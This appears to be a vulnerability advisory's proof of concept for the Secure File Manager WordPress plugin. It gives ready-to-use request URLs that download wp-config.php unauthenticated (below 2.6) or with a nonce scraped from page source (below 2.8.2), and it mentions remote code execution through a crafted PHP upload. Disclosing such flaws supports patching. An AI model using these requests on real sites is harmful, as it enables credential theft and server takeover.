Download the wp-config.php

< 2.6 - As an unauthenticated user, open /wp-content/plugins/secure-file-manager/vendor/elfinder/php/connector.minimal.php?cmd=file&target=l1_d3AtY29uZmlnLnBocA&download=1&cpath=/wp-admin/admin.php

< 2.8.2 - Log in as any user, access the Secure File Manager menu (wp-admin/admin.php?page=sfm_file_manager) which will result in an Unauthorized Access error unless logged in as admin, view the source of the page and retrieve the value of the sfmpNonceKey. Then append it to the URL above in a _wnonce parameter:

/wp-content/plugins/secure-file-manager/vendor/elfinder/php/connector.minimal.php?cmd=file&target=l1_d3AtY29uZmlnLnBocA&download=1&_wpnonce=69f62e1414&cpath=/wp-admin/admin.php


RCE can be obtained as well, with a crafted request to upload a PHP file, e.g /hello-user.php

for < 2.8.2, get the nonce with the same technique as above
for < 2.6, just remove the _wpnonce parameter
